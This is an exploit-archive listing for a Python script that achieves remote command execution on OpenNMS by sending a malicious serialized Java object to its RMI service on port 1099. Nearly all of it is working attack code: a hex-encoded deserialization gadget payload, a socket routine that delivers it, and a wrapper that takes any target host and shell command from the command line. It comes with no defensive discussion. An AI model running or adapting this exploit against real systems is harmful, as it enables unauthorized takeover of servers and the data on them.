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OpenNMS Java Object Deserialization Remote Code Execution Exploit

🗓️ 09 Feb 2018 00:00:00Reported by benpturnerType 
zdt
 zdt
🔗 0day.today👁 29 Views

OpenNMS Java Object Deserialization Remote Code Execution Exploi

Code
#! /usr/bin/env python3

# Credits:
# http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#opennms
# nessus/plugins/opennms_java_serialize.nasl

# cobbled together by pancho
import socket
import sys

def build(cmd):
	blob_header = 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	blob_footer = '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f'
	return blob_header + '\x00' + chr(len(cmd)) + cmd + blob_footer

def exploit(cmd, host):
	blob_prologue = '\x4a\x52\x4d\x49\x00\x02\x4b'
	packet = build(cmd)

	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect((host, 1099))
	sock.send(blob_prologue)
	sock.recv(8192)
	sock.send(packet)
	sock.close()

def main():
	print('OpenNMS Java Object Unserialization RCE implemented by pancho')

	if len(sys.argv) != 3:
		print('usage: python3 ' + sys.argv[0] + ' host cmd')
		return

	host = sys.argv[1]
	cmd = sys.argv[2]

	packet = build(cmd)
	exploit(cmd, host)

if __name__ == "__main__":
	main()

#  0day.today [2018-03-19]  #

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